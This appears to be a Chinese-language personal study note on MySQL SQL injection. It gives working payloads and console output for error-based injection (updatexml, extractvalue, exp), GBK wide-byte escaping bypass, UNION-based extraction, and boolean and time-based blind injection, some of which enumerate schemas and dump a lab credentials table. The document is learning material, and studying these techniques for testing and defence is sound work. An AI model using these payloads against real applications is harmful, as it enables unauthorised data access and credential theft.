24-11-22-sql注入学习

SQL注入

mysql内置变量及函数:

1
2
show global variables;
查看所有变量

可以直接调用mysql的函数来获取目标数据,

报错注入

前提:

后端直接输出报错,

常用函数:

CONCAT()
1
2
3
4
5
6
7
拼接函数,concat只能拼接字符串,不能拼接多行数据
mysql> SELECT concat('1','a','2','b');
+-------------------------+
| concat('1','a','2','b') |
+-------------------------+
| 1a2b |
+-------------------------+
UpdateXML()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
updatexml(XML_document,XPath_string,new_vakue):
替换一个xml文档中的内容
UPDATE products
SET product_info = UPDATEXML(product_info, '/product/price', '<price>123</price>')
WHERE EXTRACTVALUE(product_info, '/product/id') = '1';
该语句会在存在xml类型数据的products表中搜索/product/id=1字段的数据,将其中的/product/price标签内的内容改为123
=========================================
mysql> select updatexml('<a>aaa</a>','/a','bbb');
+------------------------------------+
| updatexml('<a>aaa</a>','/a','bbb') |
+------------------------------------+
| bbb |
+------------------------------------+
-----------------------------------------
mysql> select updatexml('<a>a</a>',(select user()),'a');
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
-----------------------------------------
虽然这里的aaa可以成功替换,但在我们查看version或user等信息时,可以发现报错泄露出的信息不全,没有完全展示我们想要的信息,
原因:当我们执行这个语句时,()内的内容会优先执行,这样一来我们的语句就变成了
SELECT UPDATExml('<a>a</a>', 'user@localhost', 'a');由于在XPath中 表达式 user@localhost 是无效的,因为 @ 符号在 XPath 中有特殊的含义,表示属性选择器,所以XPath会在他无法解析的地方报错,因此会返回@localhost,但我们可以用concat()主动添加XPath中无法被识别的字符,从而规避这一情况
-----------------------------------------
mysql> select updatexml('<a>a</a>',concat('>',(select user()),'<'),'a');
ERROR 1105 (HY000): XPATH syntax error: '>root@localhost<'
-----------------------------------------
这样虽然XPath依然不能识别这个表达式,但是他会把`>root@localhost<`作为一个整体输出而不是将`root@localhost`中的@作为属性选择器解析,导致root被吞
-----------------------------------------
mysql> select updatexml('<a>a</a>',concat('>',(select user()),'<'),'a');
ERROR 1105 (HY000): XPATH syntax error: '>root@localhost<'
-----------------------------------------
mysql> select updatexml('<a>a</a>',concat('>',(select group_concat(schema_name) from information_schema.schemata),'<'),'a');
ERROR 1105 (HY000): XPATH syntax error: '>information_schema,aaaaaa,cms,c'
-----------------------------------------
由于UpdateXMLe一次只能查询32位长度的数据,所以当我们获得数据后可以用`xxx not in('','')`来过滤掉已知数据
mysql> select updatexml('<a>a</a>',concat('>',(select group_concat(schema_name) from information_schema.schemata where schema_name not in ('information_schema','aaaaaa','cms','c')),'<'),'a');
ERROR 1105 (HY000): XPATH syntax error: '>ctftraining,localhost,mysql,per'
-----------------------------------------
select updatexml('<a><b>123</b></a>',concat('>',(select group_concat(image_id,image_user_name) from users.image_upload where image_id not in ('37')),'<'),'a');
=========================================
XML_document:为string形式,XML文档对象的名称,
XPath_string:XPath语法,
new_vakue:替换目标,
ExtractValue()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mysql> select extractvalue('<a>123</a>','/a');
+------------------------------------------+
| extractvalue('<a>123</a>','/a') |
+------------------------------------------+
| 123 |
+------------------------------------------+
语法与updatexml类似,作用是从xml数据中搜索指定标签内的数据
-----------------------------------------
获取数据库名
mysql> select extractvalue('<a><b>123</b></a>',concat('>',(select schema_name from information_schema.schemata limit 0,1),'<'));
ERROR 1105 (HY000): XPATH syntax error: '>information_schema<'
-----------------------------------------
获取数据库内的表名
mysql> select extractvalue('<a><b>123</b></a>',concat('>',(select group_concat(table_name) from information_schema.table
s where table_schema = 'users'),'<'));
ERROR 1105 (HY000): XPATH syntax error: '>image_upload,users<'
-----------------------------------------
获取表内字段名
mysql> select extractvalue('<a><b>123</b></a>',concat('>',(select group_concat(column_name) from information_schema.columns where table_name='user'),'<'));
ERROR 1105 (HY000): XPATH syntax error: '>Host,User,Select_priv,Insert_pr'
-----------------------------------------
mysql> select extractvalue('<a><b>123</b></a>',concat('>',(select group_concat(column_name) from information_schema.columns where table_name='image_upload' and column_name not in ('Host','User','Select_priv')),'<'));
ERROR 1105 (HY000): XPATH syntax error: '>image_id,image_user_name,image_'
由于ExtractValue也是一次只能查询32位长度的数据,所以当我们获得数据后可以用`and not in('','')`来过滤掉已知数据
-----------------------------------------
mysql> select extractvalue('<a><b>123</b></a>',concat('>',(select column_name from information_schema.columns where table_name='image_upload' limit 0,1),'<'));
ERROR 1105 (HY000): XPATH syntax error: '>image_id<'
我们也可以通过limit()而不使用concat(),来获取指定行的数据
-----------------------------------------
mysql> select extractvalue('<a><b>123</b></a>',concat('>',(select group_concat(image_id,image_user_name) from users.image_upload where image_id not in ('37')),'<'));
ERROR 1105 (HY000): XPATH syntax error: '>36胡桃,35猫猫,34猫猫,38'
由于concat只能拼接一列数据,所以当我们想要同时获取多组数据时我们可以用group_concat()将获取到的数据拼接为一个字符串,从而令concat()可以正常识别
floor()
1
2
3
4
5
6
7
取整函数,
mysql> select floor(114.514);
+----------------+
| floor(114.514) |
+----------------+
| 114 |
+----------------+
exp()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
exp(x);会返回自然对数e的x次方,
但当x>=710时,返回的数字会超过MySQL能处理的最大值,因此会报错(版本>5.5时才输出报错)
=========================================
select exp(709+C/*C为我们传入的数字*/-(ascii('a')));
a的ASCII编码为97,当我们传入98时,exp中的数字为710,会报错,传入97时exp中的数字为709,恰好不报错,当我们传入的数字从报错变为恰好不报错时,不报错的数字便是目标字符串的ascii编码

mysql> select if((exp(709+97-(ascii('a')))),1,0);
+------------------------------------+
| if((exp(709+97-(ascii('a')))),1,0) |
+------------------------------------+
| 1 |
+------------------------------------+
1 row in set (0.00 sec)

mysql> select if((exp(709+98-(ascii('a')))),1,0);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(((709 + 98) - ascii('a')))'
--------------------------------------------------------
我们也可以结合substr()和if()等函数进行盲注
mysql> select if(exp(709+117-ascii((substr(database(),1,1)))),1,0);
+------------------------------------------------------+
| if(exp(709+117-ascii((substr(database(),1,1)))),1,0) |
+------------------------------------------------------+
| 1 |
+------------------------------------------------------+

宽字节注入

原理:

后端与mysql编码不同

编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ASCII编码: a -> 1b -> 一个字节 -> 0x61 不支持中文
gbk--gb2312编码: 支持中文,一个中文占两个字节 0xbaba -> 汉
+--------------------------------+
| concat(char(0xbaba using gbk)) |
+--------------------------------+
||
+--------------------------------+
utf-8编码: 可变长度的编码方式,一中文占三字节 0xe6b189 ->
+-----------------------------------+
| concat(char(0xE6B189 using utf8)) |
+-----------------------------------+
||
+-----------------------------------+
Unicode编码:万国码,啥都有 每个字符4字节

(GBK)

当前端对我们的字符进行url编码并发送到后端时,后端对我们输入的字符进行\转义,

1
eg:输入`1' or 1=1 #`被转义为`1%5C%27+or+1%3D1+%23`

后端会将转移后的数据发送到数据库,如果我们在\前加一个编码%df这样的话,当后端将加上%df后的编码发送到数据库进行操作时,若数据库为gb2312编码,那么数据库会将前两个编码识别为一个字符,这样一来,转义的字符就会被吞掉从而实现绕过,进而注入成功

1
eg`1%df\'or 1=1 #`发送到后端时为`1%df5C%27+or+1%3D1+%23`,这样到数据库执行时就变为了`1運'or 1=1 #`从而绕过

具体流程

用户输入 ==> 过滤函数 ==> 代码层的 $sql ==> MySQL 处理请求 ==> MySQL 结果
%df%27 ==> addslashes ==> %df%5c%27 ==> (GBK) ==>

联合注入

前提

是搜索功能点

UNION SELECT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
联合注入主要使用`union select`方法联合查询数据库的内容
eg:select username,password from users where username='$name'
将设当前有一个这样的sql语句,$name可控,我们可以传入`1' union select username,password form users.users;`
=============================================
mysql> select time,password_time from users where username = 'admin' union select username,password from users.users;
+---------------------+---------------------+
| time | password_time |
+---------------------+---------------------+
| 2024-03-11 23:22:47 | 2024-03-17 15:00:24 |
| admin | 123 |
| tou_zi | liuhaiyang1216 |
+---------------------+---------------------+
当我们使用`union select`想要获取表单的内容时,我们需要先知道表单所在的数据库以及表的字段名,才可以获取表的内容,
---------------------------------------------
mysql> select time,password_time from users where username = 'admin' union select 1,table_name from information_schema.tables where table_name = 'users';
+---------------------+---------------------+
| time | password_time |
+---------------------+---------------------+
| 2024-03-11 23:22:47 | 2024-03-17 15:00:24 |
| 1 | users |
+---------------------+---------------------+

mysql> select time,password_time from users where username = 'admin' union select 1,column_name from information_schema.
columns where table_name = 'users';
+---------------------+---------------------+
| time | password_time |
+---------------------+---------------------+
| 2024-03-11 23:22:47 | 2024-03-17 15:00:24 |
| 1 | username |
| 1 | password |
| 1 | USER |
| 1 | CURRENT_CONNECTIONS |
| 1 | TOTAL_CONNECTIONS |
| 1 | ID |
| 1 | time |
| 1 | password_time |
+---------------------+---------------------+

盲注

函数:

1
2
3
4
if(<判断>,<真时执行>,<假时执行>)
sleep(<time>)
substr(<字符串>,<开始位置>,<截取数量>)
TO_BASE64() 和 FROM_BASE64()

boolian型(布尔)&时间型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
我们可以利用if()函数来执行sleep(),观察响应时间进而判断注入知否成功,同时调用substr()函数,来对database,table,column进行爆破
====================================================
mysql> select if(substr(database(),1,1)='u',sleep(2),'N000');
+---------------------------------------------+
| if(substr(database(),1,1)='u',sleep(2),'a') |
+---------------------------------------------+
| 0 |
+---------------------------------------------+
1 row in set (2.00 sec)

获取当前数据库
mysql> select if(substr(database(),1,1)=char(0x75 using utf8),sleep(2),'N000');
+---------------------------------------------------------------+
| if(substr(database(),1,1)=char(0x75 using utf8),sleep(2),'a') |
+---------------------------------------------------------------+
| 0 |
+---------------------------------------------------------------+
1 row in set (2.01 sec)


mysql> select username from `users` where 1=1 and if(substr(database(),1,1)=char(0x75 using utf8),sleep(2),'N000');
Empty set (4.01 sec)
====================================================
获取指定数据库内的表名,由于一个库内大概率会存在多个表,所以我们可以使用group_concat()函数来将其合并为一行字符串,同时我们也可用group_concat()中的SEPARATOR功能来指定分隔符来判断表的结尾,`group_concat(table_name SEPARATOR '|')`

mysql> select table_name from information_schema.tables where table_schema = 'users';
+--------------+
| table_name |
+--------------+
| image_upload |
| users |
+--------------+

------------------------------------------------------------
mysql> select group_concat(table_name SEPARATOR '|') from information_schema.tables where table_schema = 'users';
+----------------------------------------+
| group_concat(table_name SEPARATOR '|') |
+----------------------------------------+
| image_upload|users |
+----------------------------------------+

------------------------------------------------------------
mysql> select if(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'users'),1,1)='i',sleep(2),'N000');
+-----------------------------------------------------------------
-----------------------------------------------------------------+
| if(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'users'),1,1)='i',sleep(2),'N000') |
+-----------------------------------------------------------------
-----------------------------------------------------------------+
| 0 |
+-----------------------------------------------------------------
-----------------------------------------------------------------+